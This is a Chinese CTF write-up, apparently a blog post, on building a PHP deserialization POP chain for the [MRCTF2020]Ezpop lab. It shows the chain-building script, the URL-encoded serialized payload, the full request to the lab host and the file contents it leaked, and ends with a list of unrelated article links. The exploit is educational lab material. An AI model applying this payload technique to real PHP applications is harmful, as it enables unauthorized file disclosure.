当前位置: 首页 > news >正文

PHP反序列化POP链构造:理解与利用

如有疑惑,尽管提问;如有错误,请您指正!

[MRCTF2020]Ezpop为例:

本题的入口?通过pop传入序列化数据

本题的出口?通过include包含flag.php

我们要传入什么?序列化数据,其内容是一个类的实例,这个实例是层层嵌套的,以保证在反序列化时能触发一系列操作,达到包含flag的目的

怎么得到这个实例?这一过程叫POP链的构造,我们要根据已有类的信息,生成一个实例,并序列化。本文把这个实例命名为$a。

可能你会问,我们传入序列化数据,怎么就触发原有php文件的函数了呢?这就是漏洞所在。我们不需要在原php中new一个实例,我们只要传入实例的序列化数据,它就会自动匹配到对应的类上并触发函数。

构造$a的思路如下,本文仅将思路叙述一遍,并不说明思路如何寻找:

  1. 首先注意到__wakeup,它在反序列化时触发。所以$a应该是Show类
  2. 触发__wakeup后,会对source进行正则匹配。如果将一个类当作字符串使用时,会触发__tostring。所以,$a->source是Show类,因为Show类有__tostring
  3. 触发__tostring后(注意,这里是$a->source触发,不是$a触发),会应用其中的参数。如果请求一个类不存在的参数,会触发__get。所以$a->source->str为Test类,因为Test类有__get
  4. 触发__get后,会将$p以函数调用。如果将类以函数调用,会触发__invoke。所以,$a->source->str->p为Modifier类,因为Modifier类有__invoke
  5. 触发__invoke后,会包含$var。所以,$a->source->str->p->var内写入伪协议

所以,我们要构建如下的实例$a:

 用以下PHP语句生成:

<?php
class Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}class Show{public $source;public $str;
}class Test{public $p;
}$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();echo urlencode(serialize($a));
?>

得到序列化数据:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

传参:

bb3c6ddf-4668-48c4-aa93-af5b0f5e0603.node5.buuoj.cn:81/?pop=O%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A%7Bs%3A6%3A"source"%3BN%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A3%3A"str"%3BN%3B%7D

页面显示结果,base64解密得flag:PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezQxMzNmNzViLWYwZmUtNDI4ZC1hNDNlLThkNDVlM2M3Mzk2Nn0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

<?php
class Flag{private $flag= "flag{4133f75b-f0fe-428d-a43e-8d45e3c73966}";
}
echo "Help Me Find FLAG!";
?>

如果不成功,可能是因为:

  1. 要写伪协议读取整个php文件,不能只写flag.php
  2. urlencode,因为序列化后会存在一些无法显示的字符
  3. php调用类的属性时不用在属性前面加“$”

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • IT运维岗适用的6本证书
  • 如何在前后端分离项目中,使用Spring Security
  • 英特尔凌动® P5300 和 P5700 处理器使企业能够优化现代网络基础架构、安全加速器和存储设备之间的性能和成本平衡。
  • leetcode:1822. 数组元素积的符号(python3解法)
  • JMeter 性能测试工具入门与实践
  • 高翔【自动驾驶与机器人中的SLAM技术】学习笔记(七)卡尔曼滤波器三:卡尔曼滤波器公式推导【转载】
  • Zookeeper的监听机制
  • *算法训练(leetcode)第四十七天 | 并查集理论基础、107. 寻找存在的路径
  • 从理论到实践网络编程模型:(BIO、NIO、AIO)同步与异步模型的原理与应用 (五)
  • shell脚本编程实践(五)
  • 刷完Armbian的盒子后根目录空间太小解决方案
  • 高阶数据结构——LRU Cache
  • pod详解 list-watch机制 预选优选策略 如何指定节点调度pod
  • 10.1 使用ansible部署 redis-exporter
  • Python 机器学习求解 PDE 学习项目 基础知识(3)matplotlib 画函数热图
  • @angular/forms 源码解析之双向绑定
  • 【译】React性能工程(下) -- 深入研究React性能调试
  • JS 面试题总结
  • Mysql5.6主从复制
  • mysql外键的使用
  • UMLCHINA 首席专家潘加宇鼎力推荐
  • 欢迎参加第二届中国游戏开发者大会
  • 解析 Webpack中import、require、按需加载的执行过程
  • 深入浅出Node.js
  • 手写一个CommonJS打包工具(一)
  • 微服务入门【系列视频课程】
  • 容器镜像
  • ​​​【收录 Hello 算法】10.4 哈希优化策略
  • ​​​【收录 Hello 算法】9.4 小结
  • ​Python 3 新特性:类型注解
  • ​如何使用QGIS制作三维建筑
  • # Redis 入门到精通(七)-- redis 删除策略
  • #define、const、typedef的差别
  • (2024,LoRA,全量微调,低秩,强正则化,缓解遗忘,多样性)LoRA 学习更少,遗忘更少
  • (3)llvm ir转换过程
  • (function(){})()的分步解析
  • (动手学习深度学习)第13章 计算机视觉---微调
  • (多级缓存)多级缓存
  • (二)JAVA使用POI操作excel
  • (十八)SpringBoot之发送QQ邮件
  • (转)h264中avc和flv数据的解析
  • (转)菜鸟学数据库(三)——存储过程
  • .CSS-hover 的解释
  • .NET 8 中引入新的 IHostedLifecycleService 接口 实现定时任务
  • .NET Core 实现 Redis 批量查询指定格式的Key
  • .NET 同步与异步 之 原子操作和自旋锁(Interlocked、SpinLock)(九)
  • .NET 中选择合适的文件打开模式(CreateNew, Create, Open, OpenOrCreate, Truncate, Append)
  • .pub是什么文件_Rust 模块和文件 - 「译」
  • @RunWith注解作用
  • @开发者,一文搞懂什么是 C# 计时器!
  • [18] Opencv_CUDA应用之 基于颜色的对象检测与跟踪
  • [APIO2015]巴厘岛的雕塑
  • [AutoSar]BSW_Memory_Stack_004 创建一个简单NV block并调试
  • [Avalon] Avalon中的Conditional Formatting.
  • [CareerCup] 6.1 Find Heavy Bottle 寻找重瓶子